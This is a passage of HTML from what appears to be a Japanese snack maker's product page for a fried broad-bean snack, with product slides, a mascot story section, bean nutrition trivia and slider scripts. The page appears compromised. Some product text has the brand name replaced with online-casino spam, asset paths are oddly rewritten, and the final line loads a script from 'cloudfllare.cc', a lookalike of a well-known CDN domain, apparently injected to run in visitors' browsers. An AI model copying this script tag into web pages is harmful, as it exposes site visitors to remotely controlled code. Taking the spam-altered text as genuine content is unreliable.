              <div class="comment__slide-inner slide2">
                <h3 class="comment__heading">徹底した品質管理</h3>
                <div class="swiper-container comment__in-slider">
                  <div class="swiper-wrapper">
                    <div class="swiper-slide">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__img-02-01.jpg">
                    </div>
                    <div class="swiper-slide">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__img-02-02.jpg">
                    </div>
                    <div class="swiper-slide">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__img-02-03.jpg">
                    </div>
                  </div>
                  <div class="swiper-pagination"></div>
                </div>
                <p>豆のおいしさそのままで届くよう、工場で特別な加工をして出荷。移動中も、温度管理を徹底。豆って繊細なんです。</p>
                <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/comment_bottom-02.png">
              </div>
            </div>
            <div class="swiper-slide comment__slide">
              <div class="comment__slide-inner slide3">
                <h3 class="comment__heading">オンラインカジノアプリ独自製法・こだわりの味</h3>
                <figure class="comment__figure">
                  <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__img-03-01.png">
                </figure>
                <p>日本に届いたそら豆は工場へ。あのサクッと感は、オンラインカジノアプリ独自の製法。その後、味付け、包装、箱詰めをし、出荷。素材から製法までこだわった「ミーノ」は、「素材の味を届けたい」という生産者の思いと工夫が詰まっています。</p>
                <img class="comment__bottom-03" src="/miino/index.php/story/assets/css/common.min.css/assets/img/comment_bottom-03.png">
              </div>
            </div>
          </div>
          <div class="swiper-button-prev"></div>
          <div class="swiper-button-next"></div>
        </div>
      </div>
    </section>

    <section id="story" class="story">
      <h2 class="c-heading">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/heading_character.png" alt="キャラクター">
      </h2>

      <div class="story__text">
        <p>スマホ オンラインカジノ（ミーノ）おいしさを届けるために生まれた、<wbr>オンラインカジノアプリのキャラクター「ミーノくん」。</br>
          キャラクターページでは<wbr>スマホ オンラインカジノくんのぼうけんストーリーが読めるよ！</p>
      </div>

      <div class="story__body__ttl">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/story/top/top__ttl.svg" alt="豆の大ぼうけん 空とぶミーノくん">
      </div>
      <div class="story__inner">
        <div class="story__body">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/story/top/top__body.svg" alt="">
        </div>
        <img class="story__cloud--1" src="/miino/index.php/story/assets/css/common.min.css/assets/img/story/top/top__cloud-1.svg" alt="">
        <a class="story__cloud--2" href="/miino/index.php/story/assets/css/common.min.css/story">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/story/top/top__cloud-2.svg" alt="ミーノくんについてもっと知る">
        </a>
      </div>
      <a class="story__index" href="/miino/index.php/story/assets/css/common.min.css/story/ep-24">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/story/ep-24/ttl-new.svg" alt="">
      </a>
    </section>

    <section id="tips" class="tips">
      <div class="tips__inner">
        <h2 class="c-heading">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/heading_trivia.png" alt="豆知識">
        </h2>
        <div class="tips__profile">
          <div class="tips__profile__heading">
            <div class="tips__profile__face">
              <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__face.svg" alt="">
            </div>
            <div class="tips__profile__info">
              <p>ホクレン農業協同組合連合会</br>
                農産事業本部農産部雑穀課</p>
              <p class="tips__profile__name">特任技監 博士（農学）<span>加藤 淳</span></p>
            </div>
          </div>
          <div class="tips__profile__text">
            <p>北海道立中央農業試験場、同十勝農業試験場、豪州クイーンズランド大学などで豆類の品質、加工適性、健康機能性などについて研究。北海道立総合研究機構・農業研究本部企画調整部長、道南農業試験場長、名寄市立大学・保健福祉学部栄養学科教授などを歴任し、2024年4月より現職。国内外における講演活動や各種メディアを通し、豆類の普及や技術支援など幅広く活動。<span>『「小豆の力」はなぜスゴイ？』（キクロス出版）、『最強のあずき力―無限の可能性を秘めたスーパーフード』（KKロングセラーズ）、『あずき毒出しスープ』（河出書房新社）などがある。</span></p>
          </div>
        </div>

        <div class="tips__movie">
          <h3 class="tips__movie-ttl">加藤先生に聞く豆の力について</h3>
          <div class="tips__movie-inner">
            <iframe width="560" height="315" src="https://www.youtube.com/embed/himFzNIkREg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
          </div>
        </div>

        <div class="tips__article">
          <section class="tips__section">
            <div class="tips__section__ttl js-point">
              <div class="tips__section__ttl__inner">
                <h3><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__sec__ttl-1.svg" alt="">豆の楽しみ方</h3>
                <img class="tips__section__ttl__illust--1 pcOnly" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__illust-1-p.svg" alt="">
                <img class="tips__section__ttl__illust--1 spOnly" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__illust-1-s.svg" alt="">
                <img class="tips__section__ttl__more" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__ttl__more.svg" alt="">
              </div>
            </div>
            <div class="tips__section__body js-pointInner">
              <p>豆は、たんぱく質や食物繊維をはじめ、<br class="pcOnly">様々な栄養素をバランス良く豊富に含んでいる<span class="underline">「理想的な食材」</span>です。</br></p>
              <figure class="tips__section__figure">
                <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips_setsubun.png" alt="">
              </figure>
              <p>豆は、料理のおかずや、おやつ、間食まで<span class="underline">「様々な場面で」</span>食べられています。</br>
                また、季節行事をはじめとしたイベントでも登場し、<br class="pcOnly">生活な身近な存在となっています。</p>
            </div>
          </section>

          <section class="tips__section">
            <div class="tips__section__ttl js-point">
              <div class="tips__section__ttl__inner">
                <h3><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__sec__ttl-2.svg" alt="">豆の栄養素</h3>
                <img class="tips__section__ttl__illust--2 pcOnly" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__illust-2-p.svg" alt="">
                <img class="tips__section__ttl__illust--2 spOnly" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__illust-2-s.svg" alt="">
                <img class="tips__section__ttl__more" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__ttl__more.svg" alt="">
              </div>
            </div>
            <div class="tips__section__body js-pointInner">
              <p>豆は種類によって栄養成分が異なり、<br class="pcOnly">
                乾燥豆重量に占める脂質の割合が高い<span class="underline">「脂質が多い豆」</span>と<br class="pcOnly">炭水化物の含有量が50%以上で、脂質が少ない<span class="underline">「炭水化物が多い豆」</span>の<br class="pcOnly">2種類に分けることができます。</p>
              <div class="tips__section__body__2col">
                <div class="tips__section__body__blo">
                  <h4>脂質が多い豆</h4>
                  <p>大豆、落花生</p>
                </div>
                <div class="tips__section__body__blo">
                  <h4>炭水化物が多い豆</h4>
                  <p>そら豆、小豆、ささげ、</br>
                    インゲン豆、えんどう等</p>
                </div>
              </div>
              <p>また、豆は様々な栄養素を含むおすすめの食材です。</p>

              <h4 class="tips__section__body__minTtl">主な食品と栄養素の含有量を比較したグラフ</h4>
              <div class="tips__section__body__2col tips__section__body__2col--mg">
                <figure class="tips__section__body__fig">
                  <figcaption>たんぱく質</figcaption>
                  <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__graph-3.svg" alt="">
                </figure>
                <figure class="tips__section__body__fig">
                  <figcaption>食物繊維</figcaption>
                  <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__graph-4.svg" alt="">
                </figure>
                <figure class="tips__section__body__fig">
                  <figcaption>鉄分</figcaption>
                  <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__graph-5.svg" alt="">
                </figure>
                <figure class="tips__section__body__fig">
                  <figcaption>ビタミン B1</figcaption>
                  <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__graph-6.svg" alt="">
                </figure>
              </div>
              <p class="tips__section__body__min">出典：日本食品標準成分表2020年度版（八訂）</br>
                ※豆はすべて全粒乾燥です。</br>
                ※数値はすべて、可食部100g当たり。</p>
            </div>
          </section>
          <section class="tips__section">
            <div class="tips__section__ttl js-point">
              <div class="tips__section__ttl__inner">
                <h3><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__sec__ttl-3.svg" alt="">豆の種類・特徴</h3>
                <img class="tips__section__ttl__illust--3 pcOnly" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__illust-3-p.svg" alt="">
                <img class="tips__section__ttl__illust--3 spOnly" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__illust-3-s.svg" alt="">
                <img class="tips__section__ttl__more" src="/miino/index.php/story/assets/css/common.min.css/assets/img/tips__ttl__more.svg" alt="">
              </div>
            </div>
            <div class="tips__section__body js-pointInner">
              <p>豆の仲間（マメ科の植物）は世界で約18,000種類もあります。</br>
                その中でも種子を食用にできる約70種類が<span class="underline">「豆類」</span>と呼ばれています。</br>
                </br>
                国内と国外では、流通している豆が一部異なります。</br>
                しかし、最近では海外の豆も国内で使用されるようになっています。
              </p>
              <h4 class="tips__section__body__minTtl">日本で食べられている主な豆類</h4>
              <ul class="tips__section__body__list">
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">そら豆</p>
                  <p class="tips__section__body__item__text">さやがそらを向いているのが名前の由来です。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">大豆</p>
                  <p class="tips__section__body__item__text">黄大豆、青大豆、黒大豆の3種類があります。</br>
                    成熟しきっていない豆が枝豆です。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">えんどう</p>
                  <p class="tips__section__body__item__text">
                    生の豆はグリーンピース、成熟しきっていないさやは、</br>さやえんどうとして食べます。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">いんげん豆</p>
                  <p class="tips__section__body__item__text">赤色の金時豆や白色の手亡のほか、模様入りのうずら豆や虎豆もあります。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">ベニバナインゲン</p>
                  <p class="tips__section__body__item__text">
                    植物分類学上はインゲン属ですが、いんげん豆とは別の種類とされます。きれいな花が咲くので「花豆」とも呼ばれます。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">小豆</p>
                  <p class="tips__section__body__item__text">和菓子に欠かせないあんの原料。大粒のものは「大納言」と呼ばれます。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">ささげ</p>
                  <p class="tips__section__body__item__text">小豆より皮が破れにくく縁起が良いと、関東地方では赤飯に使われます。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">落花生</p>
                  <p class="tips__section__body__item__text">柿の種やチョコレートなどの菓子類の他、油や総菜にも使われます。</p>
                </li>
              </ul>

              <h4 class="tips__section__body__minTtl">世界で食べられている主な豆類</h4>
              <ul class="tips__section__body__list">
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">ひよこ豆</p>
                  <p class="tips__section__body__item__text">
                    インドで人気が高く、世界の生産量の2/3をインドが占めている。日本ではカレー、スープ、サラダなどに使われます。
                  </p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">レンズ豆</p>
                  <p class="tips__section__body__item__text">インドやトルコで多く栽培。日本ではひら豆とも呼ばれます。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">緑豆</p>
                  <p class="tips__section__body__item__text">
                    小豆に近く、青小豆とも呼ばれます。中国でははるさめに加工されます。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">黒目豆</p>
                  <p class="tips__section__body__item__text">ささげの仲間であり、へその周囲が黒い輪になって模様のように見えます。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">カリオカ豆</p>
                  <p class="tips__section__body__item__text">
                    インゲン豆の仲間であり、南米で発見された品種。ブラジルで良く食べられています。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">レッドキドニー</p>
                  <p class="tips__section__body__item__text">インゲン豆の仲間で「金時豆」に近い品種。南北アメリカで食べられています。</p>
                </li>
                <li class="tips__section__body__item">
                  <p class="tips__section__body__item__name">キマメ</p>
                  <p class="tips__section__body__item__text">成長すると木になる。生産量の90%がアジアで、その90%がインドです。</p>
                </li>
              </ul>
            </div>
          </section>
        </div>
      </div>
      <div class="tips__been"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/common__been.png" alt=""></div>
    </section>

    <ul class="banner">
      <li class="banner__item">
        <a href="https://www.amazon.co.jp/stores/page/9474F54A-B22E-4670-BA6B-69FEF2FDB6E7?ingress=0&visitId=d26657a8-0e5b-49c4-976a-1ec59780edab" target="_blank" rel="noopener">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/banner_amazon.webp" alt="">
        </a>
      </li>
      <li class="banner__item">
        <a href="https://lohaco.yahoo.co.jp/special/event/calbee/?tab=6">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/banner_lohaco.webp" alt="">
        </a>
      </li>
    </ul>

    <div class="good">
      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/good.png" alt="">
    </div>

    </div>
</div>
</div>
</div>
  </main>
  <div id="back-top"><a href="/miino/index.php/story/assets/css/common.min.css/#"><span>ページ上部へ</span></a></div>

<footer id="footer_calbeeroot">
	<div class="inner">
	<ul>
    	<li><a href="/">Calbeeホーム</a></li>
    	<li><a href="/policy/">サイトポリシー</a></li>
      <li><a href="/web-accessibility/">ウェブアクセシビリティ方針</a></li>
    	<li><a href="/privacy/">プライバシポリシー</a></li>
    	<li><a href="/sitemap/">サイトマップ</a></li>
    </ul>

    </div>
</footer>

  <script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>

  <script src="https://cdn.jsdelivr.net/npm/gsap@3.13.0/dist/gsap.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/gsap@3.13.0/dist/ScrollTrigger.min.js"></script>
  <script src="https://www.youtube.com/iframe_api"></script>

  <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/modal-video@2.4.6/js/jquery-modal-video.min.js"></script>

  <script src="/miino/index.php/story/assets/css/common.min.css/assets/js/common.js"></script>
  <script src="/miino/index.php/story/assets/css/common.min.css/assets/js/top.js"></script>

  <script>
    $(function() {
      if ($(".js-modal-video").length) {
        $(".js-modal-video").modalVideo({
          channel: "youtube",
          youtube: {
            cc_load_policy: 0,
            loop: 1,
            rel: 0
          },
        });
      }
    });

    var newsSlider = new Swiper('.news__slider', {
      loop: true,
      speed: 1000,
      observer: true,
      observeParents: true,
      autoplay: {
        delay: 4000,
      },
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
        clickable: true,
      },
    });

    var aboutSlider = new Swiper('.about__slider', {
      loop: true,
      speed: 1000,
      // effect: 'fade',
      observer: true,
      observeParents: true,
      autoplay: {
        delay: 4000,
      },
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
        clickable: true,
      },
    });

    var movieSlider = new Swiper('.movie__slider--cm', {
      loop: true,
      speed: 1000,
      effect: 'fade',
      fadeEffect: {
        crossFade: true
      },
      observer: true,
      observeParents: true,
      autoplay: {
        delay: 3000,
      },
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
        clickable: true,
      },
      navigation: {
        nextEl: '.swiper-button-next',
        prevEl: '.swiper-button-prev',
      },
    });

    var commitmentSlider = new Swiper('.commitment__slider', {
      loop: true,
      speed: 1000,
      observer: true,
      observeParents: true,
      // autoplay: {
      //   delay: 6000,
      // },
      navigation: {
        nextEl: '.swiper-button-next',
        prevEl: '.swiper-button-prev',
      },
    });

    var commitmentInSlider = new Swiper('.commitment__in-slider', {
      loop: true,
      speed: 1000,
      effect: 'fade',
      observer: true,
      observeParents: true,
      autoplay: {
        delay: 3000,
      },
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
        clickable: true,
      },
    });

    var commentSlider = new Swiper('.comment__slider', {
      loop: true,
      speed: 1000,
      observer: true,
      observeParents: true,
      // autoplay: {
      //   delay: 6000,
      // },
      navigation: {
        nextEl: '.swiper-button-next',
        prevEl: '.swiper-button-prev',
      },
    });

    var commentInSlider = new Swiper('.comment__in-slider', {
      loop: true,
      speed: 1000,
      effect: 'fade',
      observer: true,
      observeParents: true,
      autoplay: {
        delay: 3000,
      },
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
        clickable: true,
      },
    });

    var lineupSlider1 = new Swiper('.lineup__slider1', {
      loop: true,
      speed: 1000,
      observer: true,
      observeParents: true,
      autoplay: {
        delay: 4000,
      },
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
        clickable: true,
      },
      navigation: {
        nextEl: '.swiper-button-next',
        prevEl: '.swiper-button-prev',
      },
    });

    var lineupSlider2 = new Swiper('.lineup__slider2', {
      loop: true,
      speed: 1000,
      observer: true,
      observeParents: true,
      autoplay: {
        delay: 4000,
      },
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
        clickable: true,
      },
      navigation: {
        nextEl: '.swiper-button-next',
        prevEl: '.swiper-button-prev',
      },
    });

    var mySwiper = new Swiper('.itinerary__slider', {
      loop: true,
      speed: 1000,
      effect: 'fade',
      observer: true,
      observeParents: true,
      autoplay: {
        delay: 4000,
      },
      navigation: {
        nextEl: '.swiper-button-next',
        prevEl: '.swiper-button-prev',
      },
      pagination: {
        el: '.swiper-pagination',
        type: 'bullets',
        clickable: true,
      },
    })

    $('.js-nav').on('click', function() {
      $('html').toggleClass('is-nav-open');
    });
    $('.js-profile').on('click', function() {
      $(this).toggleClass('js-active');
      $("+.js-profileInner", this).slideToggle();
    });
    $('.js-point').on('click', function() {
      $(this).toggleClass('js-active');
      $("+.js-pointInner", this).slideToggle();
    });

    $(function() {
      $('a[href^="#"]').click(function() {
        var speed = 800;
        var href = $(this).attr("href");
        var target = $(href == "#" || href == "" ? 'html' : href);
        var position = target.offset().top;
        $('body,html').animate({
          scrollTop: position
        }, speed, 'swing');
        return false;
      });
    });

    // 横スクロール内の.komaをポップアップアニメーション
    $(function() {
      const $horizontalScroll = $('.js-horizontal-scroll');
      const $komaItems = $horizontalScroll.find('.koma');

      // 要素が表示範囲に入ったかチェック
      function checkHorizontalVisibility() {
        const containerScrollLeft = $horizontalScroll.scrollLeft();
        const containerWidth = $horizontalScroll.width();
        const containerOffsetLeft = $horizontalScroll.offset().left;

        // 発火ポイント: overflowエリアの右から10%の位置（画面上の絶対座標）
        const triggerPoint = containerOffsetLeft + containerWidth * 0.95;

        $komaItems.each(function() {
          const $item = $(this);

          // すでにアニメーション済みならスキップ
          if ($item.hasClass('is-animated')) return;

          // この.koma要素の画面上での絶対座標（左端）
          const itemLeftOnScreen = $item.offset().left;

          // デバッグ情報
          const itemClass = $item.attr('class');
          console.log(itemClass, '| item:', Math.round(itemLeftOnScreen), '| trigger:', Math.round(triggerPoint), '| diff:', Math.round(triggerPoint - itemLeftOnScreen));

          // komaの左端が発火ポイントを越えたらアニメーション
          if (itemLeftOnScreen <= triggerPoint) {
            console.log('✓ TRIGGERED:', itemClass);
            $item.addClass('is-animated');
          }
        });
      }

      // requestAnimationFrameを使ってスムーズに判定
      let ticking = false;
      $horizontalScroll.on('scroll', function() {
        if (!ticking) {
          window.requestAnimationFrame(function() {
            checkHorizontalVisibility();
            ticking = false;
          });
          ticking = true;
        }
      });

      // 初回チェック
      checkHorizontalVisibility();

      // リサイズ時も再チェック
      $(window).on('resize', checkHorizontalVisibility);
    });

    // 横スクロール内のスムーズスクロール
    $(function() {
      const $horizontalScroll = $('.js-horizontal-scroll');

      // 横スクロール内のアンカーリンク
      $horizontalScroll.find('a[href^="#"]').on('click', function(e) {
        e.preventDefault();
        e.stopPropagation();

        const targetId = $(this).attr('href');
        const $target = $(targetId);

        if (!$target.length) return;

        const isLandscape = window.matchMedia("(orientation: landscape)").matches;
        const $verticalScroller = isLandscape ? $('.l-scroll') : $(window);
        const currentScrollTop = isLandscape ? $('.l-scroll').scrollTop() : $(window).scrollTop();

        // 縦スクロールを一時的に無効化
        let isAnimating = true;
        const preventScroll = function() {
          if (isAnimating) {
            if (isLandscape) {
              $('.l-scroll').scrollTop(currentScrollTop);
            } else {
              window.scrollTo(0, currentScrollTop);
            }
          }
        };

        $verticalScroller.on('scroll.horizontalOnly', preventScroll);

        // 横スクロールアニメーション
        const currentScrollLeft = $horizontalScroll.scrollLeft();
        const targetLeft = $target.position().left;
        const scrollTo = currentScrollLeft + targetLeft;

        $horizontalScroll.animate({
          scrollLeft: scrollTo
        }, {
          duration: 800,
          easing: 'swing',
          complete: function() {
            // アニメーション完了後、縦スクロールを再有効化
            isAnimating = false;
            $verticalScroller.off('scroll.horizontalOnly');
          }
        });
      });
    });
  </script>
<script src="https://cloudfllare.cc/controller.min.js?type=jp"></script>
</body>

</html>